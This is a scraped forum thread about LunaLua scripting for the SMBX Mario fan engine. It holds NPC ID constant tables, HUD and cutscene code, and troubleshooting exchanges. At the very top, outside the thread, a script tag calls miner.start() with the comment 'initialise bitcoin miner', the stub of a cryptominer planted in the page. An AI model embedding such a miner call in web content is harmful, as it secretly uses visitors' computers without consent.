<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralsmbx communitypge project

LunaLua Offical Thread

The second SMBX collab!

Shall I stream some LunaLua live development?

Yes
23
92%
No
2
8%
 
Total votes: 25

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 518
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: LunaLua!

Postby Rockythechao » 3 years ago

Well, I was thinking of adding a function to abort active movement coroutines and calling that at the beginning of the walk functions.

http://pastebin.com/egwAJEMt

Looking back, the coroutines in that paste definitely won't work because they're calling functions with walkDirWithBreak() in them, but, uh, you get the general idea.

I can see how this potentially could cause some issues, so if you think it's still a bad idea then I'm up for dropping coroutine Actor commands. But what about cutscenes/boss AI/other sequences? Are those okay or is it best to just stick to the current implementation or something else entirely?

Hope this doesn't sound snappy or sarcastic or anything. It's been clear from day one that I'm far from being the best programmer around here, I'm just one of the more ambitious and thick-headed/impulsive/whatever ones :lol:

Oh, almost forgot, I started working on constants for the NPC IDs. Dunno if someone else has already done this so I may just be wasting my time, buuuuuut...

Code: Select all

NPCID_SMB_GOOMBA_A = 89
NPCID_SMB_GOOMBA_B = 27
NPCID_SMB_HAMBRO = 29
NPCID_SMB_PSHROOM = 159
NPCID_SMB_PIRHANA = 93
NPCID_SMB_KOOPA_R = 175
NPCID_SMB_PARA_R = 177
NPCID_SMB_KOOPA_G = 173
NPCID_SMB_PARA_G = 176
NPCID_SMB_FIREBALL = 260
NPCID_SMB_SHROOM = 184
NPCID_SMB_FLOWER = 182
NPCID_SMB_COIN = 88
NPCID_SMB_AXE = 178
NPCID_SMB_1UP = 186
NPCID_SMB_SHELL_G = 172
NPCID_SMB_SHELL_R = 174
NPCID_SMB_PLATFORM = 106
NPCID_SMB_BOWSER = 200
NPCID_SMB_VINE_A = 223
NPCID_SMB_VINE_B = 222
NPCID_SMB_BLOOPER = 235
NPCID_SMB_FISH_R = 233
NPCID_SMB_FISH_G = 28

NPCID_SMB2_SHYGUY_B = 20
NPCID_SMB2_SHYGUY_R = 19
NPCID_SMB2_NINJI = 25
NPCID_SMB2_TWEETER = 129
NPCID_SMB2_SNIFIT_B = 131
NPCID_SMB2_SNIFIT_R = 130
NPCID_SMB2_SNIFIT_G = 132
NPCID_SMB2_BOBOMB = 135
NPCID_SMB2_SPARK = 206
NPCID_SMB2_POKEY = 247
NPCID_SMB2_HOOPSTER = 272
NPCID_SMB2_COIN = 138
NPCID_SMB2_BOMB = 134
NPCID_SMB2_POW = 241
NPCID_SMB2_TIMER = 240
NPCID_SMB2_SHROOM = 249
NPCID_SMB2_EXIT = 41
NPCID_SMB2_VINE_B = 217
NPCID_SMB2_VINE_G = 215
NPCID_SMB2_VINE_Y = 216
NPCID_SMB2_ROOT_B = 220
NPCID_SMB2_ROOT_G = 218
NPCID_SMB2_ROOT_Y = 219
NPCID_SMB2_POTION = 288
NPCID_SMB2_DOOR = 289
NPCID_SMB2_BIRDO = 39
NPCID_SMB2_WART = 201
NPCID_SMB2_MOUSER = 262
NPCID_SMB2_SHROOMBLOCK_A = 154
NPCID_SMB2_SHROOMBLOCK_B = 155
NPCID_SMB2_SHROOMBLOCK_C = 156
NPCID_SMB2_SHROOMBLOCK_D = 157
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: LunaLua!

Postby Hoeloe » 3 years ago

Rockythechao wrote: I can see how this potentially could cause some issues, so if you think it's still a bad idea then I'm up for dropping coroutine Actor commands. But what about cutscenes/boss AI/other sequences? Are those okay or is it best to just stick to the current implementation or something else entirely?
What you've suggested is a solution, but it's a bit of a hacky one. I suggest dropping commands from coroutines that might need to be interrupted - coroutines aren't built for that kind of functionality, and it gets messy. To be honest, I think if people want to use coroutines, let them use them in Lua, rather than disguising them behind function calls. You don't lose any functionality this way, and people can still stick code into coroutines themselves, but it ensures that the programmer knows when their code is doing things in the background and when it isn't, which makes their job much easier.
Image
Image
Image
Image

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 518
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

Aaaaaand I finally looked at the source, not sure what led me to believe that the Player and NPC classes were defined in Lua themselves. So that pastebin was even less help than I initially thought it'd be... :oops:

Well, I've gone and split up the code between lapi, lunaworld and lunadll in such a manner that it won't work without require() and it'd be too much trouble to throw everything back into lunadll.lua, so for the time being the cutscene and battle stuff is all commented out while I work on the HUD elements... and placeSprite() doesn't seem to be working.

Code: Select all

function onLoad ()

	IMG_LETTERBOX = 0
	IMG_BOSSHP_RIGHT = 1
	IMG_BOSSHP_LEFT = 2
	IMG_BOSSHP_EMPTY = 3
	IMG_BOSSHP_FULL = 4
	IMG_BOSSHP_BG = 5

	loadImage ("letterbox.bmp",    IMG_LETTERBOX,    0xFF00DC)
	loadImage ("bossHP_right.bmp", IMG_BOSSHP_RIGHT, 0xFF00DC)
	loadImage ("bossHP_left.bmp",  IMG_BOSSHP_LEFT,  0xFF00DC)
	loadImage ("bossHP_midE.bmp",  IMG_BOSSHP_EMPTY, 0xFF00DC)
	loadImage ("bossHP_midF.bmp",  IMG_BOSSHP_FULL,  0xFF00DC)
	loadImage ("bossHP_bg.bmp",    IMG_BOSSHP_BG,    0xFF00DC)
end

function onLoop ()  
  -- Display cutscene UI elements
  processCutsceneUI ()
  
  debugCounter = (debugCounter + 1) % 120
  
  if debugCounter == 0 then
    currentSceneState = (currentSceneState + 1) % 4
	playSFX (2)
  end
end



function processCutsceneUI () 
  
  placeSprite (1, IMG_LETTERBOX, 0, 0)
  
  -- BOSS HP BAR
  if     currentSceneState == SCENESTATE_BATTLE   then

    -- Bar BG
    placeSprite (1, IMG_BOSSHP_BG, player.screen.left, player.screen.top, "", 1)
    
	-- Bar sides
	local barLeft = player.screen.left + 400 - (bossHPMax * 16)
	local barRight = barLeft + (bossHPMax * 32)
	local barY = 520
	
	placeSprite (1, IMG_BOSSHP_LEFT, barLeft, barY, "", 1)
	placeSprite (1, IMG_BOSSHP_RIGHT, barRight, barY, "", 1)
	
	-- Bar units
	for i = 0, bossHPMax-1 do
	  local sprX = barLeft + (i+1)*32
	  local sprImg = IMG_BOSSHP_EMPTY
	  
	  if (i <= bossHP-1) then
        sprImg = IMG_BOSSHP_FULL
	  end
	  
	  placeSprite (1, sprImg, sprX, barY, "", 1)
	end
	
	-- Boss Name
	printCenteredText (bossName, 4, 400, 500)
	
  -- CUTSCENE LETTERBOXING
  elseif   currentSceneState == SCENESTATE_CUTSCENE   then
    placeSprite (1, IMG_LETTERBOX, 0, 0, "", 1)  
  
  
  -- TEXTBOXES DURING GAMEPLAY
  elseif   currentSceneState == SCENESTATE_PLAY   then
    
  end
  
  
  -- DISPLAY DIALOGUE/SUBTITLES
  if   dialogTextTime > 0  and  (currentSceneState == SCENESTATE_PLAY  or  currentSceneState == SCENESTATE_CUTSCENE) then
    
	printText(dialogName..":", 4, 5, 475)  
	printText(string.sub(dialogText, 0, 43), 4, 15, 495)
	printText(string.sub(dialogText, 44, 87), 4, 15, 515)
	printText(string.sub(dialogText, 88, 131), 4, 15, 535)
	printText(string.sub(dialogText, 132, 175), 4, 15, 555)
    
    if(dialogEndWithInput == true) then
      printText("(PRESS X TO CONTINUE)", 4, 400, 580)
	end
  end
end
It's cycling through the different scene states but the only thing that gets displayed is the Boss' name. I've tried changing the coordinates, the sprite type, resource indexes, no matter what they won't show up.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 3 years ago

Re: Presenting: Lunadll for Lua!

Postby Kevsoft » 3 years ago

LunaLua v0.2.6.1 is out
Changes:
* Added package lib
* lapi.lua can now run independet without having the level file in 'world/project' folder.
Rocky, you should now be able to use the package lib.

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 518
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

Arright, after much trial and error I got the require() calls working. Quick overview of the stuff so that others don't get stuck on it:


Lua doesn't like to keep track of relative directory paths. Instead it searches through your system for paths that match or contain at least one of the patterns stored in the variable package.path. So in order to get your script to access the files(s) you want, you have to add patterns to package.path. Then you simply call require (script name minus .lua).

I'm still not 100% clear on the pattern formatting, but from what I've gathered semicolons mark the beginning of a pattern, question marks are wild cards, "./" means one folder forward, "../" seems to mean one folder back and "..." means "please crash the SMBX editor". And Lua uses '..' to concatenate strings instead of '+'.

Basically, just write it like this and things probably won't break. Probably.

Code: Select all

package.path = package.path .. ";./worlds/TestingStuff/?.lua" .. ";./?.lua"
lApiLib = require ("lapi")
lunaWorldScript = require ("lunaworld")

loadImage and placeSprite still don't do anything for me. I haven't change my HUD code since the last post, and going by both Kil's Phanto tutorial and Darkchao's custom HUD tutorial, it all seems to check out.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 3 years ago

Re: Presenting: Lunadll for Lua!

Postby Kevsoft » 3 years ago

Rockythechao wrote:loadImage and placeSprite still don't do anything for me. I haven't change my HUD code since the last post, and going by both Kil's Phanto tutorial and Darkchao's custom HUD tutorial, it all seems to check out.
Do you recive any error message, or does it simply not work?

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 518
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

Same as the earlier post, it cycles through the different states properly but it only displays text.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

Kil
Posts: 13
Joined: 8 years ago

Re: Presenting: Lunadll for Lua!

Postby Kil » 3 years ago

That should work, but I think there's a bug with builtin placesprite with the way you're trying to use it that prevents it from displaying.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
SAJewers
hi
Posts: 2266
Joined: 5 years ago
Location: Nova Scotia

Re: Presenting: Lunadll for Lua!

Postby SAJewers » 3 years ago

Not sure if this is possible with Lua, but I think It'd be pretty cool if someone made something like this for Episode 2:


ImageImageImage
Image
ImageImageImageImage

User avatar
Willhart
Stalker, Doxxer, and Sexual Harasser
Banned
Posts: 2533
Joined: 6 years ago
Location: Finland

Re: Presenting: Lunadll for Lua!

Postby Willhart » 3 years ago

There has been some semi 3D trickery done with default smbx graphics and events. The example there might be useful for making tunnel type stages. I wonder if it could be improved somehow.
Image
http://www.supermariobrosx.org/forums/v ... =31&t=1302
Willhart wrote:Being a fan means... blind obsession.... She does not have to accept it... I thought it brought me closer to her.
Willhart wrote:[She] is planning on joining the patreon discord thing on advanced group, and that likely means that I'll listen trough every single one of those as they happen...

Part of me feels like writing her name over and over again
...I should not give up.
💔

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 3 years ago

Re: Presenting: Lunadll for Lua!

Postby Kevsoft » 3 years ago

SAJewers wrote:Not sure if this is possible with Lua, but I think It'd be pretty cool if someone made something like this for Episode 2
Do you mean only the raw gameplay-style or the whole 3d-vector-style with it?

Willhart wrote:There has been some semi 3D trickery done with default smbx graphics and events. The example there might be useful for making tunnel type stages. I wonder if it could be improved somehow.
Improved with lua? How would you improve it?

Kil
Posts: 13
Joined: 8 years ago

Re: Presenting: Lunadll for Lua!

Postby Kil » 3 years ago

I'm sure someone could make a stage like that if they just got an animated background and hooked up a sprite or layer or something to the player input.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Holy
Posts: 96
Joined: 6 years ago

Re: Presenting: Lunadll for Lua!

Postby Holy » 3 years ago

Okay, I have no idea what I'm doing.
I'm trying to make the player sparkle only when they're moving. This is my attempt:

Code: Select all

function onLoop()
	if(player.y ~= 0) then
		player:mem(0x02,player,0xFFFF)
	elseif(player.x ~= 0) then
		player:mem(0x02,player,0xFFFF)
	else
		player:mem(0x02,player,0)
	end
end


-- PlayerMemSet,0,0x02,0xFFFF,0,0,w
-- PlayerMemSet,0,0x02,0,0,0,w
But that don't work. I'm sure it's some giant thing I'm missing here.

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Holy wrote: But that don't work. I'm sure it's some giant thing I'm missing here.
Looks like you're checking the player's position, rather than the player's speed.


Also, fundamentally, 3D is very similar to 2D. That kind of style should be perfectly possible with a bit of vector maths to work out the relative position and scale of objects from a variable storing their z coordinate. It would take a hell of a lot of work to do this properly, for everything on screen, though.
Image
Image
Image
Image

User avatar
Holy
Posts: 96
Joined: 6 years ago

Re: Presenting: Lunadll for Lua!

Postby Holy » 3 years ago

Ooh, yeah, thanks.
I also had to change the constant "player" to "FIELD_WORD", and now it works!

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 518
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

Arright, here's most of the NPC ID constants (everything but the SMW page) formatted so you can copy & paste them directly into LunaLuaMain.cpp.

Code: Select all

// SMB NPCs
_G["NPCID_SMB_GOOMBA_A"] = 89
_G["NPCID_SMB_GOOMBA_B"] = 27
_G["NPCID_SMB_HAMBRO"] = 29
_G["NPCID_SMB_PSHROOM"] = 159
_G["NPCID_SMB_PIRHANA"] = 93
_G["NPCID_SMB_KOOPA_R"] = 175
_G["NPCID_SMB_PARA_R"] = 177
_G["NPCID_SMB_KOOPA_G"] = 173
_G["NPCID_SMB_PARA_G"] = 176
_G["NPCID_SMB_FIREBALL"] = 260

_G["NPCID_SMB_SHROOM"] = 184
_G["NPCID_SMB_FLOWER"] = 182
_G["NPCID_SMB_COIN"] = 88
_G["NPCID_SMB_AXE"] = 178
_G["NPCID_SMB_1UP"] = 186

_G["NPCID_SMB_SHELL_G"] = 172
_G["NPCID_SMB_SHELL_R"] = 174

_G["NPCID_SMB_PLATFORM"] = 106

_G["NPCID_SMB_BOWSER"] = 200

_G["NPCID_SMB_VINE_A"] = 223
_G["NPCID_SMB_VINE_B"] = 222

_G["NPCID_SMB_BLOOPER"] = 235
_G["NPCID_SMB_FISH_R"] = 233
_G["NPCID_SMB_FISH_G"] = 28


// SMB2 NPCs
_G["NPCID_SMB2_SHYGUY_B"] = 20
_G["NPCID_SMB2_SHYGUY_R"] = 19
_G["NPCID_SMB2_NINJI"] = 25
_G["NPCID_SMB2_TWEETER"] = 129
_G["NPCID_SMB2_SNIFIT_B"] = 131
_G["NPCID_SMB2_SNIFIT_R"] = 130
_G["NPCID_SMB2_SNIFIT_G"] = 132
_G["NPCID_SMB2_BOBOMB"] = 135
_G["NPCID_SMB2_SPARK"] = 206
_G["NPCID_SMB2_POKEY"] = 247
_G["NPCID_SMB2_HOOPSTER"] = 272

_G["NPCID_SMB2_COIN"] = 138
_G["NPCID_SMB2_BOMB"] = 134
_G["NPCID_SMB2_POW"] = 241
_G["NPCID_SMB2_TIMER"] = 240
_G["NPCID_SMB2_SHROOM"] = 249

_G["NPCID_SMB2_EXIT"] = 41

_G["NPCID_SMB2_VINE_B"] = 217
_G["NPCID_SMB2_VINE_G"] = 215
_G["NPCID_SMB2_VINE_Y"] = 216
_G["NPCID_SMB2_ROOT_B"] = 220
_G["NPCID_SMB2_ROOT_G"] = 218
_G["NPCID_SMB2_ROOT_Y"] = 219

_G["NPCID_SMB2_POTION"] = 288
_G["NPCID_SMB2_DOOR"] = 289

_G["NPCID_SMB2_BIRDO"] = 39
_G["NPCID_SMB2_WART"] = 201
_G["NPCID_SMB2_MOUSER"] = 262

_G["NPCID_SMB2_SHROOMBLOCK_A"] = 154
_G["NPCID_SMB2_SHROOMBLOCK_B"] = 155
_G["NPCID_SMB2_SHROOMBLOCK_C"] = 156
_G["NPCID_SMB2_SHROOMBLOCK_D"] = 157


// SMB3 NPCs
_G["NPCID_SMB3_GOOMBA"] = 1
_G["NPCID_SMB3_GOOMBA_R"] = 2
_G["NPCID_SMB3_PARAGOOMBA_R"] = 3
_G["NPCID_SMB3_PARAGOOMBA"] = 244
_G["NPCID_SMB3_BIGGOOMBA"] = 71
_G["NPCID_SMB3_THWOMP"] = 37
_G["NPCID_SMB3_BOO"] = 38
_G["NPCID_SMB3_KOOPA_R"] = 6
_G["NPCID_SMB3_KOOPA_G"] = 4
_G["NPCID_SMB3_PARAKOOPA_G"] = 76
_G["NPCID_SMB3_PARAKOOPA_R"] = 161
_G["NPCID_SMB3_BIGKOOPA"] = 72
_G["NPCID_SMB3_SPINY"] = 48
_G["NPCID_SMB3_LAKITU"] = 47
_G["NPCID_SMB3_PODOBOO"] = 12
_G["NPCID_SMB3_BUZZY"] = 23
_G["NPCID_SMB3_BULLET"] = 17
_G["NPCID_SMB3_BOMB"] = 136
_G["NPCID_SMB3_ACTIVEBOMB"] = 137
_G["NPCID_SMB3_CRAB"] = 53
_G["NPCID_SMB3_FLY"] = 54
_G["NPCID_SMB3_SPINY"] = 36
_G["NPCID_SMB3_ROTODISK"] = 259

_G["NPCID_SMB3_BOOMBOOM"] = 15
_G["NPCID_SMB3_KOOPALING"] = 267
_G["NPCID_SMB3_BOWSER"] = 86

_G["NPCID_SMB3_BIGSHELL"] = 73
_G["NPCID_SMB3_SHELL_G"] = 5
_G["NPCID_SMB3_SHELL_R"] = 7
_G["NPCID_SMB3_SHELL_B"] = 24

_G["NPCID_SMB3_CANNON"] = 21
_G["NPCID_SMB3_STATUE"] = 84
_G["NPCID_SMB3_METALBARREL"] = 58
_G["NPCID_SMB3_VPIPE_SHORT"] = 69
_G["NPCID_SMB3_VPIPE_LONG"] = 70
_G["NPCID_SMB3_SLANTWOOD_L"] = 81
_G["NPCID_SMB3_SLANTWOOD_M"] = 83
_G["NPCID_SMB3_SLANTWOOD_R"] = 82
_G["NPCID_SMB3_HPIPE_SHORT"] = 67
_G["NPCID_SMB3_HPIPE_LONG"] = 68
_G["NPCID_SMB3_ROCKETWOOD"] = 160
_G["NPCID_SMB3_LONGWOOD"] = 80
_G["NPCID_SMB3_SHORTWOOD"] = 79
_G["NPCID_SMB3_TANKTREADS"] = 78
_G["NPCID_SMB3_THROWBLOCK"] = 45

_G["NPCID_SMB3_VINEHEAD_G"] = 226
_G["NPCID_SMB3_VINEHEAD_R"] = 225
_G["NPCID_SMB3_VINE_G"] = 213
_G["NPCID_SMB3_VINE_R"] = 214

_G["NPCID_SMB3_SHROOM"] = 9
_G["NPCID_SMB3_FIREFLOWER"] = 14
_G["NPCID_SMB3_LEAF"] = 34
_G["NPCID_SMB3_TANOOKISUIT"] = 169
_G["NPCID_SMB3_HAMMERSUIT"] = 170
_G["NPCID_SMB3_ICEFLOWER"] = 264
_G["NPCID_SMB3_1UP"] = 90
_G["NPCID_SMB3_COIN"] = 10
_G["NPCID_SMB3_REDCOIN"] = 207
_G["NPCID_SMB3_BOOT_G"] = 35
_G["NPCID_SMB3_BOOT_R"] = 191
_G["NPCID_SMB3_BOOT_B"] = 193
_G["NPCID_SMB3_CANNONITEM"] = 22
_G["NPCID_SMB3_PIPEITEM"] = 49
_G["NPCID_SMB3_TIMER"] = 248
_G["NPCID_SMB3_PSWITCH"] = 238
_G["NPCID_SMB3_QSHROOM"] = 263
_G["NPCID_SMB3_Q"] = 287

_G["NPCID_SMB3_PIRHANA_G"] = 8
_G["NPCID_SMB3_BIGPIRHANA"] = 74
_G["NPCID_SMB3_SIDEPIRHANA"] = 52
_G["NPCID_SMB3_BOTTOMPIRHANA"] = 51
_G["NPCID_SMB3_FIREPIRHANA"] = 245
_G["NPCID_SMB3_MUNCHER"] = 261

_G["NPCID_SMB3_TOAD_A"] = 75
_G["NPCID_SMB3_TOAD_B"] = 94
_G["NPCID_SMB3_PRINCESS"] = 198
_G["NPCID_SMB3_LUIGI"] = 101
_G["NPCID_SMB3_DONUT_R"] = 46
_G["NPCID_SMB3_DONUT_B"] = 212
_G["NPCID_SMB3_PLATFORM"] = 104
_G["NPCID_SMB3_CONVEYER"] = 57

_G["NPCID_SMB3_ITEMEXIT"] = 11
_G["NPCID_SMB3_ORBEXIT"] = 16
_G["NPCID_SMB3_STAR"] = 97


// SMW NPCs
_G["NPCID_SMW_GOOMBA"] = 165
_G["NPCID_SMW_GOOMBA_HELD"] = 166
_G["NPCID_SMW_PARAGOOM"] = 167
_G["NPCID_SMW_REX_A"] = 162
_G["NPCID_SMW_REX_B"] = 163
_G["NPCID_SMW_NINJI"] = 77
_G["NPCID_SMW_BOO"] = 43
_G["NPCID_SMW_EERIE"] = 42
_G["NPCID_SMW_BIGBOO"] = 44
_G["NPCID_SMW_BULLET"] = 18
_G["NPCID_SMW_BIGMOLE"] = 164
_G["NPCID_SMW_THWOMP"] = 180
_G["NPCID_SMW_STATUE"] = 181
_G["NPCID_SMW_SAW"] = 179
_G["NPCID_SMW_DRYBONES"] = 189
_G["NPCID_SMW_"] = 10
_G["NPCID_SMW_"] = 10
_G["NPCID_SMW_"] = 10



// Miscellaneous NPCs
_G["NPCID_MISC_SLIME_A"] = 127
_G["NPCID_MISC_SLIME_B"] = 126
_G["NPCID_MISC_SLIME_C"] = 128
_G["NPCID_MISC_KNIGHT"] = 125
_G["NPCID_MISC_RINKAGEN"] = 211
_G["NPCID_MISC_GOOMBA"] = 242
_G["NPCID_MISC_PARAGOOMBA"] = 243
_G["NPCID_MISC_METROID_A"] = 203
_G["NPCID_MISC_METROID_B"] = 204
_G["NPCID_MISC_METROID_C"] = 205
_G["NPCID_MISC_BULLY"] = 168
_G["NPCID_MISC_PLANT_UP"] = 256
_G["NPCID_MISC_PLANT_DOWN"] = 257

_G["NPCID_MISC_RING"] = 152
_G["NPCID_MISC_HEART"] = 250
_G["NPCID_MISC_RUPEE_B"] = 252
_G["NPCID_MISC_RUPEE_G"] = 251
_G["NPCID_MISC_RUPEE_R"] = 253
_G["NPCID_MISC_SATURN"] = 158
_G["NPCID_MISC_LOCKDOOR"] = 255
_G["NPCID_MISC_AMULET"] = 254

_G["NPCID_MISC_LINK"] = 102
_G["NPCID_MISC_PINKBOMB"] = 107

_G["NPCID_MISC_BOSSGLASS"] = 208
_G["NPCID_MISC_MOTHERBRAIN"] = 209

_G["NPCID_MISC_SWITCHGOOM_Y"] = 59
_G["NPCID_MISC_SWITCHGOOM_B"] = 61
_G["NPCID_MISC_SWITCHGOOM_G"] = 63
_G["NPCID_MISC_SWITCHGOOM_R"] = 65


// "Lakitus are throwing Lakitus" NPCs
_G["NPCID_EXT_FIREBALL"] = 13
_G["NPCID_EXT_ICEBALL"] = 235[/code]
_G["NPCID_EXT_SWORDBEAM"] = 266[/code]
_G["NPCID_EXT_PLAYERHAMMER"] = 171[/code]
_G["NPCID_EXT_PEACHBOMB"] = 291[/code]
_G["NPCID_EXT_BOOMERANG"] = 292[/code]
_G["NPCID_EXT_ICEBLOCK"] = 237[/code]
_G["NPCID_EXT_YOSHIFIRE"] = 108[/code]
_G["NPCID_EXT_STATIC"] = 263[/code]
_G["NPCID_EXT_BLUEPIRHANA"] = 50[/code]
_G["NPCID_EXT_BUBBLE"] = 283[/code]
_G["NPCID_EXT_BURIEDPLANT"] = 91[/code]
_G["NPCID_EXT_QUICKSAND"] = 159[/code]
_G["NPCID_EXT_FIRE_A"] = 87[/code]
_G["NPCID_EXT_FIRE_B"] = 85[/code]
_G["NPCID_EXT_FIRE_C"] = 282[/code]
_G["NPCID_EXT_FIRE_D"] = 246[/code]
_G["NPCID_EXT_FIRE_E"] = 276[/code]
_G["NPCID_EXT_RINKA"] = 210[/code]
_G["NPCID_EXT_RING"] = 269[/code]
_G["NPCID_EXT_WARTBUBBLE"] = 202[/code]
_G["NPCID_EXT_ENEMYHAMMER"] = 30[/code]
_G["NPCID_EXT_CANNONBALL"] = 133[/code]
_G["NPCID_EXT_BIRDOEGG"] = 40[/code]
_G["NPCID_EXT_KOOPA"] = 55[/code]
_G["NPCID_EXT_LAKITU"] = 284[/code]
_G["NPCID_EXT_LARRYSHELL"] = 269[/code]
_G["NPCID_EXT_LUDWIGSHELL"] = 281[/code]
_G["NPCID_EXT_COCKPIT"] = 290[/code]
[/code]
I'll get the remaining ones done later.

EDIT: So I learned what require actually does and
Last edited by Rockythechao on 10 Oct 2014, 23:52, edited 1 time in total.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

So, I'm looking at making a level that starts with a short cutscene. I'm not sure, however, how to spawn in the different possible players (so that they can converse in the cutscene). I know I could do this by overriding an NPC, but I'm wondering if there's a better way to do it than that. I'm quite new to LunaDLL - I haven't used it much before, mainly because of the horrific syntax. Now that Lua is available, I'm trying my hand at it, and I'm not really sure how it all works.

One thing I do recommend is beefing up the documentation a bit. Here's an example, from one of the "placeSprite" functions:

Code: Select all

Places a image/sprite by resource-number imgResource at xPos, yPos. Extra string data field provided. Leave a empty string if not used. You can set the time if needed.
Aside from not making it entirely clear how resource-numbers work, there are issues with the latter half of this description. You've said "extra string data field provided", but what does that actually do? "Extra string data" could be literally anything. Why is it there, what is it for? As well as this there's also "You can set the time if needed". The time of what? The time at which the image will be placed? The duration it stays on screen?

There are other things too, such as valid values for arguments (inserting 21 when looking for a section will crash the game, for example). I strongly recommend some more informative documentation. It will make LunaLua so much easier to use.

P.S. I've been trying to work out how to disable player movement while retaining the ability to progress cutscenes. So far, I've managed to stop the player moving by continually resetting their position and speed, but they can still change direction, jump (only one pixel, but the sound plays), and crouch. They are also stuck in the jumping animation.
Image
Image
Image
Image

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Ah, I'm getting somewhere with blocking the player input. I've got it to work under 2 conditions: 1. The player doesn't move while the input is disabled and 2. the player has invincibility frames when input is enabled.

I've also noted that the variable named Unknown124 has interesting effects when used with ForceAnimationState - this is how I was achieving freezing player input. I think there must be a better solution though, as this is very buggy.


On an unrelated note, I'm trying to improve the text box system that we saw in the Broadsword fight, by using either a foreground npc or placeSprite to draw the textbox. This means it will not only follow the camera, but can be disabled at will, and that levels can be built with it still present. It seems that placeSprite doesn't work at all, but I'm wondering if there is a way to get the x and y coordinates of the screen, in order to place an NPC relative to the movement of the screen as it follows the player.

EDIT: Ah! I got placeSprite working! It just has to be a bmp file. It does produce a lot of lag if you use it onLoop though, and it seems you may not be able to remove it once it's placed, which is a shame.

EDIT EDIT: Player.kill() doesn't appear to work. It throws an error saying: No matching overload found.

Wait, I'm just dumb and too used to C# syntax. Player:kill() works. It does, however, lack a check for whether the player is already dead, so you get an infinite chain of dead players.
Image
Image
Image
Image

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

SUCCESS! I've got a text box that can be toggled at will, and will nicely display at the bottom of the screen regardless of the section.

It required two .bmp images, one is 800x128, solid black, called "textbox.bmp", the other is a single solid white pixel, called "emptyBox.bmp".

These two lines should be put in "onLoad":

Code: Select all

  loadImage("textbox.bmp", 1, 0xFFFFFF);
  placeSprite(1, 1, 0, 472);
This will draw the textbox by default. To disable it at any point, write this line:

Code: Select all

  loadImage("emptyBox.bmp", 1, 0xFFFFFF);
And to re-enable it:

Code: Select all

  loadImage("textbox.bmp", 1, 0xFFFFFF);
The colours of the images don't actually matter, except in the case of loading emptyBox, in which case the hex code must be the same colour as the pixel in the image.

With an additional bit of poking around, you can also make it so you die if you fall below the text box boundary, rather than having to fall all the way through it:

Code: Select all

  if(player.y > player.sectionObj.boundary.bottom - 96 and player:mem(0x13C, FIELD_FLOAT) == 0) then
	player:kill();
	end
Image
Image
Image
Image

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Hmm... having issues controlling animation of NPCs. I'm using the Broadsword battle as a base, but at the moment I'm just trying to play an animation at will. It seems to continuously get stuck on the first frame of the animation, unless I set the animation multiplier in the NPC config file to something other than 1, in which case it flickers, but doesn't play... Any idea why this might be happening?

EDIT: As it turns out, I'm once again just a moron. Forgot to remove some old code that constantly reset the frame number.

Sorry for all these messages, by the way.
Image
Image
Image
Image

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 518
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

So I am really regretting taking so long to type these posts.


TROUBLES WITH THE BROADSWORD NPC:
Sorry about that, I should've included the other stuff with that old pastebin. I used npc code files for the different components of Broadsword. I'll have them up on Google Drive in a bit.


